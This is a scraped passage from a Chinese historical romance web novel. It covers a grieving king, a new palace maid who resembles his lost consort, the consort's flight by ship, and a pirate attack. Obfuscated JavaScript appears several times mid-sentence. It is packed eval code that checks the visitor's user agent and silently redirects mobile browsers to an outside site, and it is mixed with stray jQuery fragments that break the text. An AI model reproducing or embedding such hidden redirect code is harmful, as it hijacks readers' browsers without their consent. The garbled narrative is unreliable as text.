临近分派差职前,彩云寻到郝教**跟前,她知道,在她之前已有人送了礼,于是她将银子装在食盒里,送上银两,又奉承一番。 郝教**笑而不语,将食盒收下,彩去见她收了,放下心。 谁知等到分派差职那日,送礼的几人都被分去了杂役院,没送礼的人分到各殿院,而千鹤因为循规守矩被分到了王殿。 木雅领着新来的宫婢进入西殿,向她介绍西殿事务。 “西殿是王殿,殿中事务并不冗杂,你只需把自己手头的事情认真完成,就没别的。” 千鹤应是。 两人立于殿首,向殿内看去。 千鹤看着眼前精美奢华的殿宇,有一瞬间的不真实。 她本是梁国子民,后来夷越王归并大梁,她同家人仍照旧生活,谁承想,他们一家没被夷越军兵摧残,却因惹怒当地豪强日日被找麻烦。 豪强是他们当地一霸,为非作歹,无人敢管。 那日,豪强带着他的手下再次找上门,殴打她的父亲,她同他们推搡间,撞到了头,流了许多血,昏死过去。 豪强怕出人命便带着手下离开了。 等她迷迷糊糊再次醒来,已是三日后,父母怕那些人再来,清理了家当,一路逃到夷越都城。 他们一家人在都城附近寻了一个村子落脚,住了一些时日,全靠父亲在外给人卖苦力维持生计。 直到有一日,同村的一名村妇来告诉她,说王庭正在召选宫奴,让她可以去试一试,也是这样,她才进了王庭。 能留在王庭当值已是奢望,怎么也想不到,她能进入西殿。 可她不知,在她将神思放远时,立在她身侧的木雅正注视着她。 同样的场景,还是几年前,那个时候,她从兰卓管事手里领着一女子走到西殿门前,那女子脸上、手上生了疮,红红紫紫的,花儿一样,又可怜又好笑。 她们正像现在这样,也是立在殿门前,她告知那女子西殿的日常事务,看着她晶亮好奇的美目,木雅轻讽了一句:“你日后不在殿内当值,无须进入。” 当时的木雅怎么也想不到,那人最后会成为西殿的女主人。 “走罢,随我进去,以后你就在殿内当值。” 千鹤应是,随在这位王殿女官的身后进入西殿。 “这是外殿,日常事务会有人同你交代,随我来。”木雅往里走去。 千鹤随她往里走,然后那名叫木雅的女官走到一个岔口立住脚,这岔口伫立着几根粗圆的玉石柱。 只见她看向玉石柱左侧:“这里面是沐室,大王盥沐之所,轮到你伺候时,只送衣衫、酒水等物,摆置好后便退出,莫要多待,王不喜。” “是。”千鹤应下,心里虽然好奇,却不多问。 木雅暗暗点头,还算满意,于是领她继续往里行去。 千鹤睁目看着眼前的露台,对她来说,梦里的仙宫也不过如此。 一瞬间的怔愣后,紧随木雅往更间走去。 “这里就是大王的寝屋,若你成了王的贴身侍婢,便可近身伺候起居,在寝屋内守夜。” 木雅是个尽职女官,对人对事不会私心偏待,换句话说,西殿的宫人皆归她统管,她不希望他们当值时出错,是以,会把该交代的都交代清楚。 千鹤领了西殿的宫婢服,回了下人住所,换了衣衫,只是她的头发比夷越女子长许多,一直及到小腿弯,于是她按先前那样,分成两股,编织成辫,然后挽成环状在耳边。 如此一来,折短了许多,不那么碍事了。 一切妥当后去了西殿,不过并不住内殿,木雅交代,她不是君王的贴身侍婢,不得召唤,不能进寝屋。 白日,她随着外殿的宫婢做手头事务,擦拭殿内的地板、桌椅、摆件等。 殿外耀眼的白光渐渐变成淡淡的橙黄色,炎光西落,太阳先是躲到云里,再转到山头。 “达娃管事,还需要做什么?”千鹤擦了擦脸上的汗珠,问道。 达娃睨了这个新来的宫婢一眼,对她那一声“管事”很受用,也想过过指派人的瘾,于是说道:“再把这地擦一擦罢,又落了不少灰。” 千鹤没有半点不情愿,应下后拿起湿水的抹布,跪伏在地上,双手推着抹布, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15846727|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来回擦拭。 达娃满意地点了点头,因着角度的原因,眼梢瞥得殿阶似有人影浮动,正在缓缓靠近,当下突然意识到一件事,看着犹自擦拭地板的千鹤,想要阻止已是来不及。 女子双手并推着湿抹布,双腿蹬地,往前冲去。 整个殿宇安静下来,像是安静中踩折了一根树枝,安静过后更安静。 那是一双深紫色的靴面,高及小腿,靴口边缘滚着细细的卷草纹银边,靴身侧面是小巧精致的搭扣。 然而,她手里的湿抹布却盖在了那双华贵的靴头。 千鹤听到自己喉头吞咽的声音,然后慢慢抬起头,看了去。 那是怎样一双眼呢,比霞光要淡,她辨识不清那里面的色调,像是金褐色,却又染上夕光,他的侧面沐在灿然的光中,一头及腰的鬈发披于脑后,只从中挑出一股编织成辫摆在身前。 那双好看的眼低睨着,无情无绪地看着她。 这时,殿中所有当值宫婢呼啦啦伏拜于地,以额触地,惶恐道:“奴婢们该死,冲撞了大王,请王降罪。” 千鹤膝行着退后两步,把头磕得砰砰响:“婢子该死,婢子该死……” 然而,只稍稍静了几息,那人一句不言语,往里殿行去。 达娃本来以为这名新进的宫婢必死无疑,不止她这样认为,殿中其他人皆是这样认为。 这一年,她们做事步步谨慎,事事小心,不敢出一点错,大王的脾气越来越难揣度,以前有梁妃给大王顺**,王便像换了个人似的,时常能从他面上看到笑。 那段时日,是他们这些宫人最好过的时候。 也不怕做错事,只要不是大事,都有梁妃给他们兜底,她就像一道光,走到哪里亮到哪里, 直到有一日,梁妃从王庭离去,再也没有出现过,那道光没了,他们的好日子也到头了。 只是没想到,这个新进的宫婢第一日就冲撞了大王,谁知王并未责罚她,连句重话都没有,这就很奇了。 直到君王走后,千鹤仍心有余悸,后背已起了一层薄汗。 …… 呼延吉回了寝屋,照往常那样,在矮案前**了一会儿,从茶盘取出两个琉璃杯,一个置于对面,一个放于身前。 然后给对面的琉璃杯沏了一盏清茶,给自己沏了一盏花茶。 他将手边的花茶慢慢饮尽,再执起对面的琉璃盏,将盏里的清茶饮尽。 整个寝屋内只有男人一个,可叫旁人看了,却觉着他的对面还坐着一人似的。 “两年了,我征战一年,你走失一年,自你不辞而别已有两年,你定是还在恼我,否则为何我一次也未梦见你。” “今日大殿上,兀良哈想让他家小女儿进王庭,我没应。” “李恒**,李旭也一直派人在找,我一定会找到他,为你江家全族讨一个真相,祭奠江家百来口在天之灵。” “之前说好了,让你相信我,不要丢下我,最后还是留我一人……刚才有个丫头和你初来时一样,挽两个发环,怪模怪样的。” 男人从项间取下一物,摊开:“这玩意儿还是你戴上好看……” 第266章 母亲在时,父亲不像现在这样 此时门被敲响。 呼延吉将狼牙重新挂于脖间:“进来。” 木雅走了进来,躬身道:“禀大王,刚才乳母来说,小王子在孔雀苑玩闹时磕伤了腿。” 呼延吉“嗯”了一声:“请宫医了没?” “请了。” 木雅说完见君王再没说什么,心底嗟叹,这要是大妃还在,知道小王子受了伤,指不定心疼成什么样。 如今却……嗳…… 以前有大妃,宫人们偶尔当着大王的面掩嘴偷乐也是有的,宫人们每天也无甚烦恼,当值时料理好手头事,下值了打打闹闹,没了大妃的西殿,只有冰冷和寂然。 正当她要退下时,君王开口了:“把他带来。” 木雅应是,然后退出寝屋,不一会儿,乳母和秋月抱了呼延朔来。 江念离开时,呼延朔刚满一岁,呼延吉在外征战一年,天下平定后再一年,如今他已有三岁。 父子二人相处时日少,呼延吉平日里公务冗杂,没有多的时间陪伴他,后来一直征讨在外,等他定下大业再回王庭,孩子一下就长大许多。 同他也不怎么亲,只要乳母和秋月,他也不太会哄孩子,以至于父子二人越来越生分。 呼延朔看着自己的父王,知道他不喜自己,而自己也害怕他,于是犟着身不愿上前。 至于为何认为他不喜欢自己,因为他看见自己从来不笑,事实上他对谁都没个笑脸,王庭上上下下所有人都怕他。 呼延吉见孩子立在他的对面,规规矩矩地向他叩拜。 “跌了一跤?”呼延吉问道。 呼延朔点了点头。 身后的乳母赶紧躬下身,在呼延朔耳边轻声道:“大王问话,要回答‘是’或‘不是’,断不可只点头不出声。” 不及乳母多说,呼延吉抬手压了压,示意呼延朔到他身边。 呼延朔有些害怕,却不得不挪动步子走到他父王跟前。 “哪里磕了?”呼延吉问道。 呼延朔本想捋起袖子,一想到刚才乳母的话,说道:“胳膊肘。” “叫父王看一看。” 呼延朔这才把衣袖掀起,小儿的胳膊仍是肉圆圆的,然后把胳膊侧出一个角度,好把伤口朝向他父亲。 只见肘拐处擦花好大一片,上面已经洒上黄褐色的药粉。 “可还疼?”呼延吉问道。 小儿头一次感受到来自父亲的关心,说道:“不疼!” 身后的秋月和乳母悄不声儿地对看一眼,小王子来之前还同她们嚷疼,到大王面前又跟小大人儿似的。 呼延吉点了点头,说道:“好好看顾着,领他下去罢。” 乳母和秋月暗暗吁出一口气。 呼延朔见父王神色淡淡的,才腾起的心,又回落下去,转身之时,瞥见桌案上两个茶盏,盏里残着一点茶水。 小孩儿本就好奇心重,何论才三岁,就算平时教养得再合规合仪,也还是带着孩子的本性,于是兴喜道: “案几上有两个杯,是不是母妃回了?” 他的记忆中,母亲是模糊的,并没有什么印象,像是蒙着一层纱,他心里母亲的样子是月姑给他描画的。 母亲很温柔,会轻悄悄地同他说话,会哼唱好听的歌儿,还有,母亲在时,父亲也不像现在这样,常常能听到寝屋里传来欢笑声。 呼延朔问完那句话,对面的父王只是默着脸,身后的乳母和月姑扑通一声伏跪下。 “带下去罢。”呼延吉淡淡说道。 秋月和乳母应是。 呼延朔见父王面色不对,也不敢再言,被引着出了寝屋。 …… 次日,一名宫侍从王庭甬道急急行来,快步拾级而上,躬身于大宫监丹增面前,双手呈上一封书信。 丹增将信接过,那名宫侍便退下。 从前大妃在时,大王下了早朝会在议政殿处理公务,或是同大臣们私下商议政事,然而不论再忙,一定会赶在午时前回西殿陪王妃,除非实在太繁忙,脱不开身。 然而现在,就算清闲时候,王也会在议政殿坐一整日,待到日落时分才回西殿。 丹增看着手里的书信,躬身于殿门外,说道:“大王,有书信传来。” “进来。” 丹增执信入到殿内,走到御案一侧,双手将信呈上。 每隔一段时日会有不同地方的书信送往王庭,不是探报,就是一封再普通不过的书信。 殿里的几名大臣见此,起身告退。 书信呈上后丹增也退出了殿外。 此时,殿中只呼延吉一人,他低睨着手里的书信,没立即拆开,而是将它放于桌案上,用手抚了抚那书信一角,指间踌躇着。 想要拆开却又怕拆开,好像只要不开封,这一刻的希望就可以持续得久一点。 终于,他缓着动作,拆开那封书信,将信笺取出,再展开。 男人的目光从第一行看去,看得很慢很慢,终究是看完了,信被他折起,重新装入封套中。 信是江轲寄来的,他仍在各处各地搜找他阿姐。 呼延吉有时候就想,江轲好像不是在找他姐,就是在找他姐的路上。 他记得江轲离开前问他,可不可以原谅他,他拆散了他夫妻二人,结果,他把他倒吊城头差点丧命,能不能扯平。 呼延吉当时怎么说的,他说,你若把她寻到,才算扯平,否则一辈子无法原谅。 可能江轲自觉亏欠,每隔一段时日就会向他报知搜找情况,他寻了几个城,现下在何处,沿路找人的情况,以及他接下来准备去何处。 反正每封书信的结尾,他会告诉他,有人见过肖似江念之人,他会沿着方向去追寻,也许不久就能找到人。 江轲的这些话,也不知是在安慰他,还是在安慰自己,次次这样说,次次没有后续。 他将信收好,放入屉中,那里已集了许多这样的书信。 呼延吉回西殿时,已是傍晚,殿院里很安静,安静得只有树间的蝉声,一阵紧着一阵,吱啦——吱啦—— 正当他走到一处拐角时,隐隐听到草木后的人声。 “我的粉用完了,可否借你这个用一用?”一个轻柔的女声说道。 另一个声音接话:“你小心着用,我也只这一点了。” 先前那女声道谢,过了一会儿,听到轻笑声。 “哎哟——你这白腻腻的脸儿,擦不得我这粉,把一张小脸越擦越暗了,快快停下罢。” 呼延吉身后的宫侍,轻喝一声:“谁在那里?还不出来。” 接着草木窣窣响动,两名宫婢低头走了出来,见了来人,赶紧跪下。 呼延吉看着伏跪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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思及此,莫名生出卑意来。 这一感觉太过微妙,她家的况景连普通人家也不及,她却从没觉得卑下,可就在刚才,不,不是刚才,而是从见到那个人起,她变得有些不像自己。 头上这一小块疤痕,本是不在意的,这会儿看着却极为刺眼,女子将额发梳下,理了理,遮住那处。 之后的日子如往常一样,这日,千鹤不当值,正巧被分配到杂役处的彩云也不当值,过来寻她。 彩云一来,先是将千鹤从头到脚打量一番,说道:“原来你才是最聪明的那个,咱们呐全是脑子笨的。” 这话的调调似讽似酸。 千鹤只是微笑,并不多说什么,彩云自觉没意思,转开话头:“难得休一日,其他地方也不能乱走,我带你去一个地方。” “什么地方?” “去了就知道。” 于是两人出了下人房,往一个方向行去。 到了地方,千鹤瞪大眼,张了张嘴:“这里是……” 彩云扬起一抹笑,说道:“开眼了罢,这里是王庭的兽园,我也是听阿依沙说的,关了许多新奇玩意儿。” 只见栏门那边,好大一片山地,隔断出不同的区,每个区里饲养着不同的动物。 有珍贵的飞禽,有凶猛的走兽,当真是大开眼界。 正在二人看得投入之时,身后响起兽的低吼…… 第267章 活下去,好好活着! 低吼声不在栏门另一面,而是在她们身后。 二人僵硬着身子,稍稍扭动脖子,眼珠移动,向后看去。 顿时惊出一身冷汗,一只皮**油亮的金豹,金色的**底通身散布着墨圈,一双兽眼正盯着她们,像是随时准备扑上来。 再一细看,发现金豹项上套着革带,革带上连着索子,有人?! 两人转身,就看见牵着金豹之人不是别人,正是君王,于是赶紧跪下。 呼延吉看着那名叫千鹤的宫婢,面上没有表情,这时,花豹向前,因为有花豹的绷引,呼延吉不得不往前。 宫侍们惊奇地看着眼前一幕。 只见金豹行到那名叫千鹤的女子身边,非但没有凶她,反而拿头往她身上蹭。 众所周知,豹儿并不亲人,这会儿却亲近一个新进的宫婢。 呼延吉稍稍眯起眼,又往前行了两步,立到那名宫婢面前,慢慢低下腰挨近她,顿了一会儿,然后起身。 千鹤一动不敢动,这豹儿靠过来已叫她害怕,现在大王也近到她的跟前,影儿压了下来,她感到他低下身,离她很近,此刻,她若一抬头,就能望进他的眼里。 她不敢,像一只被锁定的猎物,生怕一个细小的动作,会被咬断颈。 好在他没在她身前立太久,牵着豹儿离开了。 千鹤哽了哽喉,鼻瓣上沁出细细的汗珠,待到所有宫人离去,才敢拭额上的汗珠。 一旁的彩云直接瘫坐在地,先前她还怀揣着小心思,认为先头的那位梁女能当大妃,定是大王偏好梁女的白皙秀丽,于是想着自己若能进西殿,指不定也能被大王瞧中。 可就在刚才,大王连一句话都没说,已叫她喘不来气。 彩云侧过头,看向身边的千鹤,推了她一下:“傻了?你脸上怎么红了?” 千鹤拿手抚上脸,解释道:“太热了。” 彩云打起袖子,扇了扇风,站起身:“是有些热,咱们快走罢,再不能乱走了,否则一不小心就丢了性命。” 两人各自回了住所。 夜间,千鹤躺于衾被中,一颗心扑通扑通不受控制地欢快跳动。 …… 彼边,呼延吉召来木雅。 “那个叫千鹤的宫婢可曾进过寝屋?” 他在这婢子身上嗅到江念身上的香,那是她惯用的香,只他们的寝屋有,他想她时,便拿出来闻一闻。 木雅恭声回道:“不曾。” 呼延吉压下眼皮,沉思片刻,复又抬起:“明日,调她到我身边来。” 木雅哽了哽喉,别人不知道大王的脾性,她可太清楚了,王庭上下,一个个都想引起大王的注意,殊不知不被他注意才是幸事。 “去前面告诉丹增,给我查这个婢子,掘地三尺,把她的底细挖干净,一丝一毫都不能漏。” 他倒要看看是什么人在背后装神弄鬼。 木雅应下,知道这个叫千鹤的要倒霉了,你说你好好的,学什么梁妃,一次是巧合,还来两次、三次……大王是什么人。 想行那描形窃宠之事,让君王移情于你? 他那样的人物,岂会被你这小伎俩牵着走,敢在他面前玩花招,他不得把你家祖宗八代拉出来遛一遛。 次日,千鹤照往常一样上值,木雅找到她,先是认真看了她一眼,然后微笑道:“自今日起,你便作为大王的贴身宫婢,晚间到寝屋当值。” 千鹤捏了捏手心,复问一遍:“木雅管事,我……升成大宫婢了?” 木雅笑了笑,说道:“能当大王的贴身侍婢,大宫婢还是小宫奴,就没那么重要了。” 说罢,又同她讲了在王寝守夜的相关事宜,千鹤认真听着,不敢卯下一个字。 心里隐隐期待着,盼望着…… …… 话往回叙…… 江念在云水村的那段时日,心境好了许多,决定去见一见呼延吉,他若还愿同她说话,那二人就坐下来好好谈一谈,把当**情说开。 听说战事平息,她便不在云水村继续住下去,准备出村寻他。 谁知马车行到城门附近,见到的却是江轲被暴尸倒吊于城楼前。 这个时候,她才知道,原来江轲并没有去梁境北面,一直在京都。 江念悲恸过度,身不能立,伏于地面,两目充血,眼前犹如蒙上黑布,无法视物,再之后晕厥过去。 “娘子?” “妹子?” “大夫,为何还没有醒?” 是云娘和秋水在唤她。 “气滞不舒,郁结壅塞,导致阴阳之气不相顺接,神明失养,休憩一会儿,应当快醒了。” “劳烦了。” 这个声音……是李恒…… 接着响起门扇开阖之声,江念脑仁针扎似的疼,缓缓睁开了眼。 “醒了!醒了!”秋水欣喜道。 江念眨了眨眼,眼前一片模糊,然后有个影在眼前挥动。 “妹子,能不能看到?” 云娘一手握住江念的手,一手在她眼前挥动,她真没想到会是这样,亏她还在江念面前替夷越王软语调和。 江念移动眼珠,眨了眨,眼前模糊的物影渐渐清晰。 “云姐姐,我看得见。”这是江念醒来后的第一句话。 守在榻边的秋水和云娘松了一口气,然而这口气还没松到头,江念从床上撑起身,就要下榻。 “娘子,你现在还不能下地,需得休养。” 江念不语,趿上鞋,就要往屋外去,讷讷道:“轲儿还在城头,他还吊在那里,我去把他放下来……” 云娘和秋水立时红了眼,把江念扶回床榻,这时从旁走来一人,正是李恒。 “轲儿已经没了,呼延吉既然能对轲儿下**,对你又能好到哪儿去?去了岂不是自投罗网?” 原来江轲被吊于城头,李恒的手下就暗伏在城门周围,一早就注意到江念一行人,把她带了回来。 江念双唇颤着,泪中含着无限的悔意:“我总得替我阿弟收尸啊!” 李恒静了一静,说道:“我不会放你去的,江家只剩你一人,呼延吉已攻陷都城,我如今失势,没有更大的能力护你,若你也出事,江家就真的再无人了,岂不辜负了轲儿的良苦用心?只有你好好活着,他才不白死。” 江念抬起手,一巴掌扇到自己脸上:“是我的错!都是我的错!他原就是那样的人,我却信了他,还想着去找他。” 说着又一是巴掌,她害**她的亲弟,叫他不得善终。 秋水和云娘赶紧上前制住她的动作。 李恒让秋水和云娘退到一边,说道:“不是你的错,是呼延吉杀了他,就算是你,也没法阻止这一切。” 说罢,停顿了一会儿,继续道:“眼下梁国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15851576|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和夷越皆在呼延吉的掌控中,你迟早会被他发现。” 江念呆怔着,好像是生是死已经无所谓了,几年前,她失去了父母,几年后,让她再一次经历失亲之痛。 “念儿?” “念儿?!” 李恒见她眸光涣散,全没听他说话,于是想办法激起她生的意志:“你一定要活下去,为了轲儿,不能让他白死。” 江念看向李恒,讷讷道:“为了轲儿……” “对,为了轲儿,亦为了你自己。”李恒说道。 江念的双眼这才回了一点神,她拭干脸上的泪,阿弟死得那样惨,连尸身也不得善待,呼延吉,你好狠! 这一生,不复见,再不相见! 江念抬起手,取下脖上的狼牙,用力地掷了出去,那枚曾被她视作珍宝的唯一,如今弃如敝屣,就那么落在了不知屋子的哪一角。 “梁国同夷越是不能再待了,我已让人安排好你们的去处,记住,一定好好活着,此生再不要进入这片境土。”李恒说道。 江念回问道:“阿兄呢?” “我走不了,还有事情未完成。”李恒苦笑一声。 次日,李恒叫来两名手下,让他们在门外候着。 “此去一别,可能再就见不到了,念儿……如果……”李恒顿了一会儿,“当初如果没有呼延吉,你我二人不会是今日这样,很多事情都会不一样,我失去了太多,纵有再大的报复,大势已去,无可挽回,我也恨,真的恨,你说得没错,我变了……” 昨夜江念整宿没睡,眼前不断浮现家人惨死的情形,还有阿弟倒吊于城门时的样子。 寂寂的夜里,她反复问自己一个问题,如果那年,她没救下呼延吉,任他被殴打发卖,很多事情就不会发生。 可她自问,再给她一次机会,她还会救下那个小儿吗?她竟然回答不出。 李恒没再多说什么,让两名手下送江念等人离开。 待人离开后,屋中只剩下李恒一人,听他低声呢喃:“呼延吉,我的复仇才刚刚开始,你休想寻到她,我就是让你和她明明都活着,却再也触及不到彼此,除非……她原谅你,呵!她会原谅你么?” 生年作长诀,相逢已是劫灰遥。 说到这里,男人一手捂脸,似哭似笑:“纵使这样,你受到的伤害也不及我的十分之一,真是不甘心呐!” …… 李恒的两名手下将人送到地方,便离开了。 江念、云娘还有秋月,以及当初江轲派来的两名护卫登上了远航的船。 这是一艘通往大夏朝的海船。 江念从房间出到甲板上,船还未启行,码头上来往人员稠密,踏板上船客们上上下下。 这艘海船很大,分三层,她们几人的房间安置在最上一层。 江念立在船栏处,眺望着码头更远处,这里离大梁京都很远,什么也看不见。 随着一声吆喝,船板吊起,海船离了岸。 她是个无家之人,浮萍之身,从江家倾覆后,她就没家了,她曾说王庭就是她的家,她把他当家人,把他的母亲当家人,哪怕一开始高太后不喜她、为难她,可是为了他,她敛去一身骄矜,忍了。 可他呢?他是怎么对她家人的。 痴儿!痴儿!过往种种皆是假象,皆是虚妄,从此以后,隐于世间,平度此生…… 第268章 海上逃亡 海船拔锚离港,离岸越来越远。 江念立于船栏处,看了一会儿,江家没了,到最后……连唯一的亲弟也没了。 她将夷越的记忆封存,再也不愿调取,那个人,她也不要再想起。 甲板上鱼龙混杂,有旅客、商人、亦有一些布衣草民。 江念立在船栏处眺望了一会儿,不远处守着江轲拔给她的两名护卫。 过了一会儿秋水从三楼下到甲板,带了一袭长衫披到她身上。 “船头风大,娘子不好久站。” 江念颔首,拢了衣领,看了一眼甲板上来来去去的般客们,然后上了楼阶,回到自己的房间内。 房间已被秋水收拾妥当,之后的一段时间,江念闭上房门,也不出门,云娘几次问秋水有关江念的情况,秋水都只是摇头。 “这样可怎么行呢?再这样下去,同活**有什么区别?”云娘说道。 秋水立在门外,往屋里看了一眼,那里面暗着,娘子每日就是睡,无论说什么,她都只是“嗯”着应一声。 秋水觉得,娘子应那一声“嗯”都好似特别吃力。 “云娘,你帮我劝一劝娘子,你说的话她还听一听。” 云娘也正有这个意思,才上船那会儿,江轲的事才发生,江念沉于失去亲人的悲痛中,她不便扰她。 已过去这么些日,不能再这样继续下去。 “放心,我来劝她。” 这时云娘敲响房门,屋里没人回应。 “妹子,是我。” 接着响起窸窸窣窣的穿衣声,过了会儿,房门开了。 云娘往江念面上一望,玲珑小巧的下巴尖窄下来,一袭青衫越发空荡,丝绦松懒懒地系在腰间,环髻斜坠,意懒神倦的样子。 江念侧过身,把云娘迎了进来。 屋子里光线幽暗,床榻上衾被也乱着,云娘走到另一侧,伸手将扇窗打开,才一开窗,略带咸湿的风就吹了进来,整个屋子就活了。 “我还是头一次坐大船哩!这船可真大,像一幢房子。” 江念迎她坐下,又让秋水看茶。 “真是想不到,先前咱们那些话都应上了。”云娘又道。 “什么话?”江念坐到她的对面。 “便是那些逃难的话来着,本是当玩笑话说,结果,嗳!还是逃亡到他国。” 云娘知道江念失去亲人不久,那位小郎君多风流俊俏一人呐,那样金贵的身份,平日却没什么架子,说起话来特容易把人逗乐。 怎会是那样一个收场呢,好好的一个活人,再见到时,却破败地挂在墙头,任人围观,叫谁看了不难受,更何况江念。 当时,江念双目充血昏厥在地的样子把他们都吓到了,然而,不论怎么样,逝者已逝,活人还得活下去,日子也得继续。 “妹子,你从前可去过大夏国?” 江念摇了摇头,说道:“不曾去过,也只是听人谈起过。” 云娘掇着凳子离江念近一些,又问:“我可好奇哩!不知那边是什么样。” 江念想了想,说道:“大夏同大梁一海之隔,来往并不频繁,不过我从前遇到过一对大夏夫妇,相交过几日,从那妇人口里得知,大夏的风貌和咱们相似。” 云娘微笑道:“我还担心过去了,说话人家听不懂,笑话咱们。” “倒是不会,可能生活习惯上有些许差别,并不影响什么。” 云娘拉起江念的手:“妹子,我知道很难,可再难你也得振作起来,这个坎……没人替你过,需得你自己迈过去,旁人劝再多也是无用。” 一语毕,云娘感到握着的手猛地一颤。 江念低下头,默了一会儿,反握住云娘的手,然后把身边秋水的手牵起,三人的手叠在一起。 “好,振作起来,没什么不能重头来过,一切都会好起来。”江念眼中含泪,嘴角却带着向上的弧度。 江念说出这句话后,秋水哇的一声哭了,云娘赶紧问道:“哎哟——怎么了?” “我担心娘子就此一蹶不振,婢子看在眼里,急在心里,现在好了,云娘一说,她就好了。”秋水拿袖拭净眼泪,抽抽搭搭。 云娘忙抽出自己的巾帕替秋水拭泪,江念看着她们,她身边还有她们,在她低落之时,在她颓丧之际,在她沉溺于悲恸之中,她们在担忧着她。 她的一举一动无不牵动着她二人,就是为了她们,她也必须得好好的,至于悲伤的情绪自己消化就好。 江念稍稍调整情绪,说道:“秋水,你去拿些吃食来,我有些饿了。” 秋水一听,忙不迭应着去了。 这大船上有专供灶房,灶房提供船客行途中的吃食。 另外,二、三层各有一个小灶房,当然,二三层的客人也可以选择底层大灶房的饭食,也可以多加些钱,让小灶房备菜。 只要钱到位,在这艘大船上可以住得很舒适,就跟陆地的客栈一样。 江念身上带得有钱子,可以暂时应付眼下。 秋水从三层的小灶房端了一个托盘来,将里面的饭菜摆于桌上,另配一壶酒。 江念看向秋水,用下巴一指:“你也坐下,咱们一起吃。” 秋水应是,坐到侧面,三人一面吃一面说着以后。 “不知还要多少日才到。”云娘问了一声。 这个江念也不清楚。 秋水说道:“适才我让护卫问过了,船工说这才行到一半,估摸着还得大半个月呢。” “哟!还得大半个月,不是我说,才登船时,妇人我看海觉着新奇,那么大,怎么会有这么大的一片湖,一眼望不到头,到处都是蓝,抬头是蓝,低头还是蓝,可时日一久就经不住了,憋得慌。” 云娘自海船启行后,已经把船上船下跑了个遍。 江念侧过头,看了一眼窗外,然后搁下碗筷走到窗边,这扇窗直面大海。 正巧这个时候,海面没有一丝风,静得如同一面大镜子,映照着发蓝的天还有洁白的云,竟有种船行云间的错觉。 云娘同秋水也走了过去,三人一起往窗外眺望。 …… 用**后,云娘回了自己的屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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眼下围聚的这些人却不像拮据的赶路人,这些人的面目在光影中看不太清,只能观得他们大概的身形,体格高大,足有三十多人。 这甲板下的仓房被这些人占了,无人敢往这里来。 “到了海中,可以开刃了。”其中一个虎背熊腰之人说道。 这人说罢,其他人纷纷应是。 很明显,这虎背熊腰之人是这些人的头目,唯他是从。 这男人说罢,又问:“点都踩了?” 另一人回话道:“回当家的话,小弟们都看了,一层的那些人都是些穷鬼,不过多少可以搜点,大货都在二、三层,特别是最上面一层,估摸着能有不少收获。” 又一人抢功似的说道:“第三层小弟也留意过,其他人都摸清了,唯独一个屋子,不知住得是什么人,总不见出来,神秘得很,身边有两个护卫,怕不好对付。” 那头目说道:“管他是什么人,只要是咱们挑中的船,这船上的人就不是人了,都是网里待宰的海鱼。” 其他人眯眼咧嘴,露出凶笑。 “不过,既然那上面有会武之人,一会儿上面多去几人。”头目看向自己的手下。 众人纷纷应是,然后从杂货中抽出长刀,从底仓上到甲板,**开始…… 第269章 他们劫财,我劫色 三楼的过道里,一名护卫持刀守于门前,另一名盘腿坐于地面,靠着门板垂头小憩。 这二人从江念去云水村就守护在侧,登船后也尽心看护,平时两人换值,总要有一人守着。 海上长时间的枯燥有些麻痹人的警惕性,两人并没注意到下层的异动。 当他二人注意到时,动静已是很大了。 江念是被吵醒的,她在船上睡觉很轻,稍大一点的响动就能感知到。 “江娘子!” 在江念醒来的同时,门外传来护卫的声音,那声音很急,把她未醒的睡意驱散,跟着心里一慌。 “怎么?”江念问道,此时秋水也醒了。 护卫的声音更急:“娘子快起身,闹贼了。” 江念和秋水再不多话,快速穿好衣衫,长发随手一挽,在此期间,外面的动静越来越大,有哭喊声、有物件横倒的“咚咚”声,还有门扇被踹开的“啪哒”声。 云娘也跑了过来,三人还没说上几句,闹动声就响了过来,杂乱的脚步,那杂乱的步子分不清谁是谁,先是一阵急步,接着后面来了一串更快的,前一阵的步子变成倒地声。 连一声叫喊都没有发出。 两名护卫将房门闭上,其实一扇薄门又能挡得住什么呢?什么也挡不了。 江念两步走到床边,从枕下摸出**,紧紧攥在手里,双眼盯着房门。 灰色的人影在窗纱上窜动,像是一场皮影戏,接着,血点飞溅,两个人影倒了。 其他的影仍映在窗纱上,他们散开去了别的屋子,留下三人。 接着房门被大力破开,三人走了进来,这三人背着光,手上拎着长刀。 “想不到,居然是三个女的。”男人声音淫邪。 又一人接话道:“正正好,咱哥仨,一人分一个。” 第三人没说话,笑了两声。 江念衣袖下捏着**,她很清楚,这**如果不能刺中三人,那么她连刺向自己的机会也没有了。 然而,面前有三人,就算她杀了其中一人,还有两人,结果仍是一样,逃不过被人欺辱的结局。 三人越走越近,面容显露到光下。 